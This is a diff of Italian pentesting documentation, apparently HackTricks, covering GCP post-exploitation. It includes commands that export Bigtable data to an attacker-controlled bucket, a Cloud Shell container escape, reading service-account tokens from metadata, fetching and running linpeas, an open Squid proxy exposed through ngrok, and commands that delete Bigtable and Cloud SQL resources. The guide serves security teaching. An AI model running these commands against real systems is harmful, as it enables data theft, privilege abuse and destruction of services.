cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` accetta raw bytes tramite la sintassi `@/path`, quindi puoi inviare compiled payloads o serialized protobufs esattamente come li aspettano i servizi downstream.
|
||||
</details>
|
||||
|
||||
### Esporta righe nel tuo bucket
|
||||
`cbt set` accetta byte grezzi tramite la sintassi `@/path`, quindi puoi inviare payloads compilati o protobufs serializzati esattamente come li si aspettano i servizi downstream.
|
||||
|
||||
**Permessi:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
### Dump rows to your bucket
|
||||
|
||||
È possibile exfiltrate i contenuti di un'intera tabella in un bucket controllato dall'attacker lanciando un job Dataflow che streama le righe in un bucket GCS che controlli.
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
È possibile esfiltrare il contenuto di un'intera tabella in un bucket controllato dall'attacker avviando un job Dataflow che streama le righe in un bucket GCS che controlli.
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per impostazione predefinita, se non indicato diversamente, verrà usato il default compute SA).
|
||||
> Nota che avrai bisogno della permissione `iam.serviceAccounts.actAs` su un SA con i permessi necessari per eseguire l'export (di default, se non indicato diversamente, verrà usato il compute SA di default).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Export Bigtable to GCS bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
> Cambia il template in `Cloud_Bigtable_to_GCS_Parquet` o `Cloud_Bigtable_to_GCS_SequenceFile` se vuoi output Parquet/SequenceFile invece di JSON. Le autorizzazioni sono le stesse; cambia solo il percorso del template.
|
||||
|
||||
### Importare righe
|
||||
### Importa righe
|
||||
|
||||
**Autorizzazioni:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**Permessi:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
È possibile importare il contenuto di un'intera tabella da un bucket controllato dall'attacker avviando un Dataflow job che scrive righe in un GCS bucket che controlli. Per questo l'attacker dovrà prima creare un file parquet con i dati da importare rispettando lo schema previsto. L'attacker potrebbe prima esportare i dati in formato parquet seguendo la tecnica precedente con l'impostazione `Cloud_Bigtable_to_GCS_Parquet` e aggiungere nuove voci nel file parquet scaricato
|
||||
È possibile importare il contenuto di un'intera tabella da un bucket controllato dall'attaccante lanciando un job Dataflow che invia in streaming le righe in un bucket GCS che controlli. Per questo l'attaccante dovrà prima creare un file parquet con i dati da importare e lo schema previsto. L'attaccante potrebbe prima esportare i dati in formato parquet seguendo la tecnica precedente con l'impostazione `Cloud_Bigtable_to_GCS_Parquet` e aggiungere nuove voci nel file parquet scaricato
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per impostazione predefinita, se non diversamente indicato, verrà usato il default compute SA).
|
||||
> Nota che avrai bisogno del permesso `iam.serviceAccounts.actAs` su un SA con permessi sufficienti per eseguire l'export (per default, se non indicato diversamente, verrà usato il compute SA predefinito).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importa dal bucket GCS a Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### Ripristino dei backup
|
||||
|
||||
**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Un attacker con questi permessi può ripristinare un backup in una nuova tabella sotto il suo controllo per poter recuperare dati sensibili precedenti.
|
||||
Un attaccante con queste autorizzazioni può ripristinare un backup in una nuova tabella sotto il suo controllo per poter recuperare dati sensibili storici.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ripristina backup di Bigtable</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Ripristinare tabelle
|
||||
</details>
|
||||
|
||||
**Autorizzazioni:** `bigtable.tables.undelete`
|
||||
### Ripristino tabelle
|
||||
|
||||
Bigtable supporta la soft-deletion con un periodo di grazia (tipicamente 7 giorni per impostazione predefinita). Durante questa finestra, un attaccante con il permesso `bigtable.tables.undelete` può ripristinare una tabella recentemente cancellata e recuperare tutti i suoi dati, accedendo potenzialmente a informazioni sensibili che si pensava fossero state distrutte.
|
||||
**Permessi:** `bigtable.tables.undelete`
|
||||
|
||||
This is particularly useful for:
|
||||
- Recupero dei dati da tabelle cancellate dai difensori durante la risposta agli incidenti
|
||||
- Accesso a dati storici eliminati intenzionalmente
|
||||
- Invertire cancellazioni accidentali o malevole per mantenere la persistenza
|
||||
Bigtable supporta la soft-deletion con un periodo di grazia (tipicamente 7 giorni per impostazione predefinita). Durante questa finestra, un attaccante con il permesso `bigtable.tables.undelete` può ripristinare una tabella eliminata di recente e recuperare tutti i suoi dati, accedendo potenzialmente a informazioni sensibili che si ritenevano distrutte.
|
||||
|
||||
Questo è particolarmente utile per:
|
||||
- Recuperare dati da tabelle eliminate dai difensori durante la risposta agli incidenti
|
||||
- Accedere a dati storici che sono stati cancellati intenzionalmente
|
||||
- Ripristinare eliminazioni accidentali o dannose per mantenere la persistenza
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ripristina tabella Bigtable</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> L'operazione undelete funziona solo entro il periodo di retention configurato (predefinito 7 giorni). Dopo la scadenza di questa finestra, la tabella e i suoi dati vengono eliminati definitivamente e non possono essere recuperati tramite questo metodo.
|
||||
> L'operazione di undelete funziona solo entro il periodo di retention configurato (impostazione predefinita 7 giorni). Dopo la scadenza di questa finestra, la tabella e i suoi dati vengono eliminati definitivamente e non possono essere recuperati tramite questo metodo.
|
||||
|
||||
|
||||
### Crea viste autorizzate
|
||||
### Create Authorized Views
|
||||
|
||||
**Permessi:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Le viste autorizzate consentono di presentare un sottoinsieme curato della tabella. Invece di rispettare il least privilege, usale per pubblicare **esattamente gli insiemi di colonne/righe sensibili** che ti interessano e whitelistare il tuo principal.
|
||||
Authorized views permettono di presentare un sottoinsieme curato della tabella. Invece di rispettare il principio del minimo privilegio, usale per pubblicare **esattamente i set di colonne/righe sensibili** che ti interessano e per inserire nella whitelist il tuo principal.
|
||||
|
||||
> [!WARNING]
|
||||
> Il punto è che per creare una vista autorizzata devi anche poter leggere e mutare le righe nella tabella di base; quindi non ottieni permessi aggiuntivi e questa tecnica è per lo più inutile.
|
||||
> Il fatto è che per creare una authorized view devi anche poter leggere e mutare le righe nella tabella di base; quindi non ottieni alcun permesso aggiuntivo, pertanto questa tecnica è per lo più inutile.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea authorized view</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
</details>
|
||||
|
||||
Poiché l'accesso è limitato alla view, i difensori spesso trascurano il fatto che hai appena creato un nuovo endpoint ad alta sensibilità.
|
||||
|
||||
### Leggere Authorized Views
|
||||
### Lettura di Authorized Views
|
||||
|
||||
**Permessi:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Se hai accesso a un Authorized View, puoi leggere i dati da esso usando le librerie client di Bigtable specificando il nome dell'authorized view nelle tue richieste di lettura. Nota che l'authorized view probabilmente limiterà ciò a cui puoi accedere dalla tabella. Di seguito è riportato un esempio in Python:
|
||||
Se hai accesso a un Authorized View, puoi leggere i dati da esso usando le librerie client di Bigtable specificando il nome dell'authorized view nelle tue richieste di lettura. Nota che l'authorized view probabilmente limiterà ciò a cui puoi accedere dalla table. Di seguito un esempio che usa Python:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Leggere dall'Authorized View (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service tramite operazioni di eliminazione
|
||||
|
||||
**Permessi:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Qualsiasi dei permessi di eliminazione di Bigtable può essere sfruttato per attacchi denial of service. Un attaccante con questi permessi può interrompere le operazioni cancellando risorse critiche di Bigtable:
|
||||
Qualsiasi permesso di eliminazione di Bigtable può essere sfruttato per attacchi di Denial of Service. Un attaccante con questi permessi può interrompere le operazioni eliminando risorse critiche di Bigtable:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Elimina i profili applicazione, interrompendo le connessioni dei client e le configurazioni di routing
|
||||
- **`bigtable.authorizedViews.delete`**: Rimuove le viste autorizzate, interrompendo i percorsi di accesso legittimi per le applicazioni
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Rimuove le associazioni di tag dalle viste autorizzate
|
||||
- **`bigtable.backups.delete`**: Cancella gli snapshot di backup, eliminando le opzioni di disaster recovery
|
||||
- **`bigtable.clusters.delete`**: Elimina interi cluster, causando immediata indisponibilità dei dati
|
||||
- **`bigtable.instances.delete`**: Rimuove intere istanze Bigtable, cancellando tutte le tabelle e le configurazioni
|
||||
- **`bigtable.tables.delete`**: Elimina singole tabelle, causando perdita di dati e malfunzionamenti delle applicazioni
|
||||
- **`bigtable.appProfiles.delete`**: Eliminare i profili di applicazione, interrompendo le connessioni client e le configurazioni di routing
|
||||
- **`bigtable.authorizedViews.delete`**: Rimuovere le visualizzazioni autorizzate, interrompendo i percorsi di accesso legittimi per le applicazioni
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Rimuovere le associazioni di tag dalle visualizzazioni autorizzate
|
||||
- **`bigtable.backups.delete`**: Distruggere snapshot di backup, eliminando le opzioni di disaster recovery
|
||||
- **`bigtable.clusters.delete`**: Eliminare interi cluster, causando l'indisponibilità immediata dei dati
|
||||
- **`bigtable.instances.delete`**: Rimuovere intere istanze Bigtable, cancellando tutte le tabelle e le configurazioni
|
||||
- **`bigtable.tables.delete`**: Eliminare singole tabelle, causando perdita di dati e malfunzionamenti delle applicazioni
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina risorse Bigtable</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> Le operazioni di eliminazione sono spesso immediate e irreversibili. Assicurati che esistano backup prima di testare questi comandi, poiché possono causare perdita permanente di dati e gravi interruzioni del servizio.
|
||||
> Le operazioni di eliminazione sono spesso immediate e irreversibili. Assicurati che siano disponibili backup prima di testare questi comandi, poiché possono causare perdita permanente di dati e gravi interruzioni del servizio.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Build
|
||||
|
||||
Per ulteriori informazioni su Cloud Build controlla:
|
||||
Per maggiori informazioni su Cloud Build consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,7 +12,11 @@ Per ulteriori informazioni su Cloud Build controlla:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
Con questo permesso puoi approvare l'esecuzione di un **codebuild che richiede approvazioni**.
|
||||
Con questo permesso puoi approvare l'esecuzione di un **codebuild that require approvals**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Approva l'esecuzione di Cloud Build</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Trova alcune informazioni su Cloud Functions in:
|
||||
Trova informazioni su Cloud Functions in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Trova alcune informazioni su Cloud Functions in:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Con questo permesso puoi ottenere un **URL firmato per poter scaricare il codice sorgente** della Cloud Function:
|
||||
Con questo permesso puoi ottenere una **URL firmata per poter scaricare il codice sorgente** della Cloud Function:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni una URL firmata per il download del codice sorgente</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Rubare le Richieste delle Funzioni Cloud
|
||||
</details>
|
||||
|
||||
Se la Funzione Cloud gestisce informazioni sensibili che gli utenti stanno inviando (ad es. password o token), con privilegi sufficienti potresti **modificare il codice sorgente della funzione ed esfiltrare** queste informazioni.
|
||||
### Rubare le richieste della Cloud Function
|
||||
|
||||
Inoltre, le Funzioni Cloud che girano in python usano **flask** per esporre il server web; se in qualche modo trovi una vulnerabilità di iniezione di codice all'interno del processo flaks (una vulnerabilità SSTI per esempio), è possibile **sovrascrivere il gestore della funzione** che riceverà le richieste HTTP per una **funzione malevola** che può **esfiltrare la richiesta** prima di passarla al gestore legittimo.
|
||||
Se la Cloud Function gestisce informazioni sensibili che gli utenti inviano (es. password o token), con privilegi sufficienti potresti **modificare il codice sorgente della function ed exfiltrate** queste informazioni.
|
||||
|
||||
Ad esempio, questo codice implementa l'attacco:
|
||||
Inoltre, le Cloud Functions che girano in python usano **flask** per esporre il web server; se in qualche modo trovi una code injection vulnerability all'interno del processo flaks (una SSTI vulnerability, per esempio), è possibile **override the function handler** che riceverà le HTTP requests per una **malicious function** che può **exfiltrate the request** prima di passarla al legit handler.
|
||||
|
||||
Per esempio questo codice implementa l'attacco:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steal Cloud Function requests (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+75
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Per ulteriori informazioni su Cloud Shell, controlla:
|
||||
Per maggiori informazioni su Cloud Shell consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,22 +12,38 @@ Per ulteriori informazioni su Cloud Shell, controlla:
|
||||
|
||||
### Container Escape
|
||||
|
||||
Nota che il Google Cloud Shell gira all'interno di un container, puoi **facilmente uscire nel host** facendo:
|
||||
Nota che il Google Cloud Shell viene eseguito all'interno di un container, puoi **easily escape to the host** eseguendo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
Questo non è considerato una vulnerabilità da Google, ma ti offre una visione più ampia di ciò che sta accadendo in quell'ambiente.
|
||||
</details>
|
||||
|
||||
Inoltre, nota che dal host puoi trovare un token dell'account di servizio:
|
||||
Questo non è considerato una vulnerabilità da google, ma ti dà una visione più ampia di ciò che sta succedendo in quell'ambiente.
|
||||
|
||||
Inoltre, nota che dall'host puoi trovare un service account token:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni il service account dai metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
Con i seguenti ambiti:
|
||||
</details>
|
||||
|
||||
Con i seguenti scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni service account scopes</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
Enumerare i metadati con LinPEAS:
|
||||
</details>
|
||||
|
||||
Enumerare i metadata con LinPEAS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Enumerare i metadata con LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
Dopo aver utilizzato [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con il token del Service Account **non è stata scoperta alcuna autorizzazione**...
|
||||
</details>
|
||||
|
||||
### Usalo come Proxy
|
||||
Dopo aver usato [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con il token del Service Account **non è stato rilevato alcun permesso**...
|
||||
|
||||
Se vuoi utilizzare la tua istanza di google cloud shell come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):
|
||||
### Usarlo come proxy
|
||||
|
||||
Se vuoi usare la tua istanza di google cloud shell come proxy devi eseguire i seguenti comandi (o inserirli nel file .bashrc):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installa Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
Crea un file **squid.conf** con le seguenti impostazioni:
|
||||
</details>
|
||||
|
||||
Solo per informarti, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea il file squid.conf</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
copia il file **squid.conf** in **/etc/squid**
|
||||
</details>
|
||||
|
||||
Copia il file **squid.conf** in **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Copia la configurazione in /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
Infine, esegui il servizio squid:
|
||||
</details>
|
||||
|
||||
Infine avvia il servizio Squid:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Avvia il servizio Squid</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
Usa ngrok per rendere il proxy disponibile dall'esterno:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esponi il proxy con ngrok</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
Dopo aver eseguito il comando, copia l'url tcp://. Se desideri eseguire il proxy da un browser, si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del tuo browser (squid è un server proxy http).
|
||||
</details>
|
||||
|
||||
Per un miglior utilizzo all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
|
||||
Dopo l'esecuzione copia l'url tcp://. Se vuoi eseguire il proxy dal browser si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).
|
||||
|
||||
Per un utilizzo migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiungi a .bashrc per avvio automatico</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Controlla quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.
|
||||
</details>
|
||||
|
||||
Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Dai un'occhiata a quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+66
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
Per ulteriori informazioni su Cloud SQL controlla:
|
||||
Per maggiori informazioni su Cloud SQL consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,7 +12,11 @@ Per ulteriori informazioni su Cloud SQL controlla:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
Per connettersi ai database è **sufficiente avere accesso alla porta del database** e conoscere il **nome utente** e la **password**, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e **permettere al proprio indirizzo IP di accedervi**.
|
||||
Per connettersi ai database è necessario **soltanto avere accesso alla porta del database** e conoscere il **username** e la **password**, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e **permettere al proprio indirizzo IP di accedervi**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Consenti il tuo IP e connettiti al database</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
È anche possibile utilizzare **`--no-backup`** per **interrompere i backup** del database.
|
||||
</details>
|
||||
|
||||
Poiché questi sono i requisiti, non sono completamente sicuro a cosa servano i permessi **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se lo sai, invia una PR!
|
||||
È anche possibile usare **`--no-backup`** per **interrompere i backup** del database.
|
||||
|
||||
Essendo questi i requisiti, non sono completamente sicuro a cosa servano le autorizzazioni **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se lo sai, invia una PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Ottieni un **elenco di tutti gli utenti** del database:
|
||||
Ottieni una **lista di tutti gli utenti** del database:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elenca gli utenti del database</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
Questo permesso consente di **creare un nuovo utente all'interno** del database:
|
||||
Questa autorizzazione consente di **creare un nuovo utente all'interno** del database:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un utente del database</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
Questo permesso consente di **aggiornare l'utente all'interno** del database. Ad esempio, potresti cambiare la sua password:
|
||||
Questo permesso consente di **aggiornare un utente all'interno** del database. Ad esempio, potresti cambiarne la password:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna la password dell'utente</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
I backup potrebbero contenere **vecchie informazioni sensibili**, quindi è interessante controllarli.\
|
||||
I backup potrebbero contenere **informazioni sensibili datate**, quindi è interessante verificarli.\
|
||||
**Ripristina un backup** all'interno di un database:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ripristina backup del database</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
Per farlo in modo più furtivo, è consigliato creare una nuova istanza SQL e recuperare i dati lì invece che nei database attualmente in esecuzione.
|
||||
</details>
|
||||
|
||||
Per farlo in modo più furtivo è consigliato creare una nuova istanza SQL e recuperare i dati lì invece che nei database attualmente in esecuzione.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
Questo permesso consente di eliminare i backup:
|
||||
Questa autorizzazione consente di cancellare backup:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina backup</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Esporta un database** in un Cloud Storage Bucket in modo da poterlo accedere da lì:
|
||||
**Esporta un database in un Cloud Storage Bucket in modo da potervi accedere da lì:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esporta il database nel bucket</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Importa un database** (sovrascrivi) da un Cloud Storage Bucket:
|
||||
